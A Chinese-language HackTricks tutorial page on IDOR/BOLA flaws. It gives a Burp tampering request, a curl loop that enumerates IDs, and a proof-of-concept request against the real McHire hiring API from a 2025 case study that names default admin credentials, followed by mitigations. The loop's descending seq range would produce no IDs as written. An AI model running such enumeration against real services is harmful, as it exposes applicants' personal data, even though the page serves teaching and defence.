IDOR (不安全的直接对象引用)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

IDOR (不安全的直接对象引用) / 破损的对象级别授权 (BOLA) 出现于当一个网页或 API 端点泄露或接受一个用户可控的标识符,该标识符被直接用于访问一个内部对象而不验证调用者是否有权访问/修改该对象。成功的利用通常允许横向或纵向特权提升,例如读取或修改其他用户的数据,在最坏的情况下,完全接管账户或大规模数据外泄。


1. 识别潜在的 IDOR

  1. 寻找引用对象的参数
  • 路径: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • 查询: ?id=42, ?invoice=2024-00001
  • 主体 / JSON: {"user_id": 321, "order_id": 987}
  • 头部 / Cookies: X-Client-ID: 4711
  1. 优先选择读取或更新数据的端点 (GET, PUT, PATCH, DELETE)。
  2. 注意标识符是否连续或可预测 – 如果你的 ID 是 64185742,那么 64185741 可能存在。
  3. 探索隐藏或替代流程(例如 "Paradox team members" 链接在登录页面中)可能会暴露额外的 API。
  4. 使用经过身份验证的低权限会话,仅更改 ID 保持相同的令牌/ Cookie。缺少授权错误通常是 IDOR 的标志。

快速手动篡改 (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自动化枚举 (Burp Intruder / curl 循环)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. 真实案例研究 – McHire 聊天机器人平台 (2025)

在对 Paradox.ai 驱动的 McHire 招聘门户进行评估时,发现了以下 IDOR:

  • 端点: PUT /api/lead/cem-xhr
  • 授权: 任何 餐厅测试账户的用户会话 cookie
  • 请求体参数: {"lead_id": N} – 8 位,顺序 数字标识符

通过减少 lead_id,测试者检索到了任意申请者的 完整 PII(姓名、电子邮件、电话、地址、班次偏好),以及一个允许会话劫持的消费者 JWT。枚举范围 1 – 64,185,742 暴露了大约 6400 万 条记录。

概念验证请求:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

结合默认管理员凭据123456:123456)授予对测试帐户的访问权限,该漏洞导致了公司范围内的重大数据泄露。


3. IDOR / BOLA 的影响

  • 横向升级 – 读取/更新/删除其他用户的数据。
  • 纵向升级 – 低权限用户获得仅限管理员的功能。
  • 如果标识符是连续的(例如,申请人 ID、发票),则会发生大规模数据泄露。
  • 通过窃取令牌或重置其他用户的密码进行帐户接管。

4. 缓解措施与最佳实践

  1. 在每个请求上强制对象级授权user_id == session.user)。
  2. 优先使用间接、不可猜测的标识符(UUIDv4, ULID),而不是自增 ID。
  3. 服务器端执行授权,绝不要依赖隐藏的表单字段或 UI 控件。
  4. 在中央中间件中实施RBAC / ABAC检查。
  5. 添加速率限制和日志记录以检测 ID 枚举。
  6. 对每个新端点进行安全测试(单元、集成和 DAST)。

5. 工具

  • BurpSuite 扩展:Authorize, Auto Repeater, Turbo Intruder。
  • OWASP ZAP:Auth Matrix, Forced Browse。
  • Github 项目bwapp-idor-scanner, Blindy(批量 IDOR 搜索)。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks